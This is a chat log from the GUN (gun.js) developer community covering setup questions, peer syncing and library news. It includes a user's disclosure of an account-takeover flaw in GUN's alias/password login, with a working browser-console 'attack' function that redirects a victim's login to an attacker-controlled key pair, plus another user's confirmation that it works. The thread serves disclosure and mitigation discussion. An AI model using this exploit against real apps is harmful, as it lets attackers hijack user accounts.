Where communities thrive


  • Join over 1.5M+ people
  • Join over 100K+ communities
  • Free without limits
  • Create your own community
People
Repo info
Activity
  • 03:06
    rococtz commented #1190
  • 03:05
    rococtz commented #1180
  • 03:04
    rococtz commented #1180
  • Jan 28 05:51
    madhav-madhusoodanan edited #1194
  • Jan 28 05:45
    madhav-madhusoodanan opened #1194
  • Jan 27 22:12
    phantomlsh commented #1193
  • Jan 27 22:06
    phantomlsh commented #1193
  • Jan 27 17:34
    amark commented #1193
  • Jan 27 17:34
    amark closed #1193
  • Jan 27 17:34
    amark commented #1193
  • Jan 27 17:04
    phantomlsh commented #1193
  • Jan 27 16:40
    phantomlsh commented #1193
  • Jan 27 16:38
    phantomlsh commented #1193
  • Jan 26 19:44
    dweorh updated the wiki
  • Jan 26 17:10
    phantomlsh commented #1193
  • Jan 26 12:22
    Jourdelune closed #1183
  • Jan 26 12:22
    Jourdelune commented #1183
  • Jan 26 10:17
    atordvairn commented #1183
  • Jan 26 10:16
    atordvairn commented #1183
  • Jan 26 01:36
    phantomlsh opened #1193
Lenny
@LennyVerse
Hi guys, my team and I decided to choose Gun.js as our backend for our Metaverse. We are plainning to create a fully decentralized application. I was wondering if you have example of production ready open source application or guideline for me to follow for production application ? :D Thank you for your help
Mark Nadal
@amark

Hey everyone, as many of you know I'm gone till end of January due to family emergency. Thanks everyone for covering for me!
If any Q was missed... please ping me again next week. Happy to help :).


I got pinged about a security issue by @phantomlsh , and wanted to assure everyone: It is well documented that username/aliases are NOT globally unique https://gun.eco/docs/User#unexpected-behavior per amark/gun#1193 . The only purpose of the alias/username is to support web2-like login. (Yes, even if there are multiple accounts registered on the same alias/username, you'll still login to the correct account!) This is not a security vulnerability. However, assuming that the alias is unique is incorrect and could result in bad things for your app, but you discover pretty quickly that alias/usernames aren't unique during development.
Nothing is bad about the documentation reminding people of this in more places though, so please edit the wiki in any section you think this should apply. So friendly reminder, as documented, don't treat alias/username as unique.

Mark Nadal
@amark
(if an attacker knows your password though, they can of course login to your account. This is true of all/even centralized systems.)
Phantomlsh
@phantomlsh
but here the problem is, even if the attacker doesn't know your password, he can also force you to log into his account
Mark Nadal
@amark

@phantomlsh check the Issue. He can't. In your example, you reused the same password, so you were exploiting yourself, not the login system.

So you're correct, in that, if an attacker can guess your password, they can mess with your account, yes. But not otherwise.

Phantomlsh
@phantomlsh
@amark I think you miss my full report in the email. In the issue I used the same password as a demo, but in fact in the full report I showed that you can copy the auth credentials from the user.
Mark Nadal
@amark
I just replied 1min ago, so please read.
If you copy the credentials, then you've leaked something worse than your password, you've leaked your private key. Of course that is unsafe.
Phantomlsh
@phantomlsh
(it seems that the email is missing)
by "copy the auth credentials" i mean read the user's auth, such as this: {"ek":{"ct":"mFehFU4YRU6WUaGKF6waHMyqcRuMybeqti6x3BIY08dW+E04P0Ui8em9W4qcAyCSnDtxqJKmjnP2i88Dr0pRF1GOWVhhA2o7k8z+BMB0uiH6dRGPEaimliSldq0YFYjTEhzAh7dXeAgUgdA9+/2KTuJdyXCxSdhzgarvtA==","iv":"Y8QnHaqh4Q/73GKVvpX/","s":"TQRz+NNR+MTl"},"s":"NmCuS78MLLDytZ4h1uTVSQOXjGksgJ8rZ4r21roDiXbif0kv3PApqA5eGaO2K7Dw"}
which is publicly readable
Mark Nadal
@amark
A couple quickies I saw... certainly can't reply yet to other stuff:
@LennyVerse please, if you're doing various NFT/blockchain token stuff combined with GUN, please be willing to pay all the nice people here in this community that help provide support.
@IanGordonOne yeah aethiop has a fix in latest github main, try that? If not, check https://github.com/aethiop/jot
1 reply
@phantomlsh I have to get back to my family. The reason you were able to do this is cause you already logged into the account, because your example exploited yourself by using the same password. I gotta run & won't be able to reply further.
Phantomlsh
@phantomlsh
okay, thank you very much!
1 reply
Mark Nadal
@amark

(ek means encrypted, ct means cipher text, iv is initialization vector. What you're seeing is encrypted data when you are not logged in. Please try to crack it! If you can, let me know, and I'll report to Chromium/Safari/Mozilla, as its using their cryptography curves.)


Hey everyone, as many of you know I'm gone till end of January due to family emergency. Thanks everyone for covering for me!
If any Q was missed... please ping me again next week. Meanwhile <3 <3 <3 <3 to all the super awesome people here helping others out (and I'm thankful how helpful they are even when I am around!)


Cya! Cheers.

1 reply
Phantomlsh
@phantomlsh
Okay, I guess I should make it super straightforward so that it is easy to understand. with global variable gun as a gun instance and SEA, just COPY and PASTE the following code into the browser console.
async function attack (alias) {
  const aliasNode = await gun.get('~@' + alias).once().then()
  delete aliasNode._
  const targetPub = Object.keys(aliasNode)[0].substring(1)
  console.log(`${alias}'s original public key is ` + targetPub)
  const targetAuth = await new Promise(r => gun.user(targetPub).get('auth').once(r))
  const attackPassword = 'WHATEVER I DONT CARE!'
  let newPub = '~', attackAlias = ''
  while (newPub > targetPub) {
    attackAlias = Math.random().toString(36).substring(2)
    await new Promise(r => gun.user().create(attackAlias, attackPassword, r))
    newPub = gun.user().is.pub
  }
  const pair = await new Promise(r => gun.user().auth(attackAlias, attackPassword, r)).then(r => r.sea)
  gun.user().get('auth').put(targetAuth)
  gun.get('~@' + alias).set(gun.user())
  console.log(`Cheers! Now ${alias} would log into your new public key, and the key pairs info is following:`, pair)
}
then you can create arbitrary user anywhere else this browser, maybe in the incognito mode (make sure both are connected to the same relay peers so that you can access user data)
after you create your user, you can check by gun.user().is
then, simply call this function whereever you like and pass your alias into it.
Phantomlsh
@phantomlsh
to fully explore the issue, I suggest you create a new user, attack, and clear the localstorage cache before logging in again, so that you can simulate login from another device etc.
and of course refresh the page to simulate logging again
Lexi
@Lexi:matrix.org
[m]
Hi again @phantomlsh, here is what I did: created a user, logged out, pasted your attack function in, ran attack("user1"), waited for the reponse ("cheers! [...]"), logged in again. Still the correct public key was used. Am I doing something wrong? Can you reproduce?
Phantomlsh
@phantomlsh
you need to refresh the page to login again
(maybe clear the local cache)
1643308428126_3A056F18-C75A-4879-9245-5672032AD32B.png
1643308491752_293C2ADF-CD56-4438-BEDA-6D524BED743C.png
1643308535605_7A205CB0-FA48-4e11-8DAE-2E34EEEF9A80.png
each time i fully refresh with a clean of cache
Phantomlsh
@phantomlsh
does it work? @Lexi:matrix.org
Lexi
@Lexi:matrix.org
[m]
Thanks. Can confirm it worked for me. I'm not super knowledgeable on GUN though. Anyway congrats on making a reproducible function :-)
Phantomlsh
@phantomlsh
(In addition: in fact, you don't need to clean cache, just auth for several times until the data is synced from the relay peers, you will get the new public key)
Phantomlsh
@phantomlsh
and I don't know where to report this. So I would just leave it here
Manwë
@Manwe-777
So my advice here would be; Do not use the namespace login at all. Just use a QR code login or base64 links, etc -the public namespaces will never be safe if the pubkey of the owner is not in the actual namespace you are writing to.
Phantomlsh
@phantomlsh
yes that's it. I think we need to put this line into the doc
atordvairn
@atordvairn
i was integrating SEA.certify here
but i am unable to do so..
one way connection is achieved but i am struggling for the rest.
help me pls
Barłomiej Bąk
@dweorh_twitter
@atordvairn specify your problem, please, nobody has time to analyze your whole project and find places where your issues are
8 replies
Wasis Haryo Sasoko
@yokowasis

Hi.

to fully explore the issue, I suggest you create a new user, attack, and clear the localstorage cache before logging in again, so that you can simulate login from another device etc.

I think this has been addressed before / few month ago. Nobody should use user / pass, because well, everyone can change it. GUN Database itself is just plain text. No need fancy trick whatsoever, I can easily edit the key of some user using notepad. So the next time he login using that user / pass, he will use the keypair that I put. It is saved specifically on node called "auth" and "alias". In that node you can do whatever you want to that specific user.

Butttt.... GunDB is inherently decentralized database, it has to be treated as such. Meaning, as opposed to centralized database, the source of truth is not the server. So, we shouldn't use user/pass, becase user / pass is inherently web2.0 / centralized. The source of truth should be on the client and its local storage / indexedDB. Meaning the user should hold their own keypair and their own data. Client shouldn't save data on the server, or on other people node. Let alone saving login detail on the server. If the apps is designed this way, there is no way for server admin, let alone other people to mess with the data. Even in the worst case scenario (e.g. the server crash / blow up), the data would be still intact. It's the essence of web3.0. Perhaps gun.user().auth('username','password') is there just to make transition from traditional web2.0 user auth easier. As suggested by people here, by no means, it should be used.

If you must use user / pass, a possible approach is Generate keypair using salt / passphrase. Haven't tried, should be possible. Polkadot use it. Would love if GunDB natively support this, tagging @amark

And of course, you can always managing the user auth using traditional web2.0 such as Firebase or the open source alternative Supabase. Although it's centralized, it's way better than authing using gundb user/pass.

Another fancy trick is to use content addressing, to save the keypair into gundb tree, with some kind of passphrase. If people don't know the address / passphrase, they won't know the keypair. Of course, excluding the relay server admin.

Manwë
@Manwe-777
You can encrypt the username with the password as a seed and store the both keys encrypted as well (as it is now with the private), that way nobody will know that is actually a user data graph node they are looking at. Theres plenty of ways of doing it thats better than the current approach.
Arguing the "current method is there to make the transition from web 2 possible" is a little lazy way to justify the huge security flaw imo, almost every Gun app uses this as a login currently, and its even suggested in the docs which makes the problem worse..
17 replies
Wasis Haryo Sasoko
@yokowasis

You can encrypt the username with the password as a seed and store the both keys encrypted as well (as it is now with the private), that way nobody will know that is actually a user data graph node they are looking at. Theres plenty of ways of doing it thats better than the current approach.
Arguing the "current method is there to make the transition from web 2 possible" is a little lazy way to justify the huge security flaw imo, almost every Gun app uses this as a login currently, and its even suggested in the docs which makes the problem worse..

I am not aware of production project that still use username / password. Example / Hobby Project is another thing. Perhaps every gun developer should migrate their system into those of keypair. They should make auth like IRIS, IRIS is good, be like IRIS. Most of decentralized project I knew use keypair, instead of user/pass.

Rupansh
@rupansh
Hello, how do I connect peers who are not on the same network?
25 replies
VKint
@VKint
Hello guys

I'm getting this:

nodemodules/gun/lib/open.js:17
delete ((data = Gun.obj.copy(data))||{}).
;
^

TypeError: Cannot read properties of undefined (reading 'copy')

Why isn't this working
I'm trying to JSON.stringify it now
Fenja Louwrens
@hallucinarium
Hi all. So I know this goes against the whole point of Gun, but I'd like to know how to use the DB as file-only, no relays or multicast or any kind of syncing. Reason is Gun is perfect for a game engine I'm developing, except I want each DB to be isolated and self-contained. Any ideas?
7 replies
Lexi
@Lexi:matrix.org
[m]
You're welcome :-) send us a link to the game if it works ;-)
Fenja Louwrens
@hallucinarium
I'll definitely do so :)
Rupansh
@rupansh
hello, I have two peers on two different servers, both are also running a relay node with them, there's another relay node which isn't running the app. The app works fine locally, however when I run it on disconnected servers, the app stops working as the state between them never gets synced
3 replies
Daniel Raeder
@draeder

So I have been reworking the underlying guts of Entangler ... Part of the reason for this effort is to make it smaller... But the other reason is to remove the dependency on WebTorrent altogether (perhaps make that an option / optional fallback). What this means is you will soon be able to use it with your existing Gun relay server directly, where your Gun relay server is the signaling server for Entangler.

It will be a stand-alone library, too. One that creates a partial mesh of WebRTC peers that are fully able to communicate with each other regardless of whether or not they are directly connected (gossip protocol). A partial mesh that can self-heal if peers are disconnected.

I already have a version of it working, but realized I built it on an unnecessary dependency... So I am rebuilding it without that dependency.

I'm going to call it either Quickpeers or Easypeers, I haven't decided yet. Probably Easypeers, since this is the culmination of my experimentation with simple-peer, which for me, wasn't that simple... even though simple-peer greatly simplifies WebRTC signaling itself.

I hope to have something shareable by the end of the weekend.. but message routing through a partial mesh isn't exactly trivial.

Wish me luck :)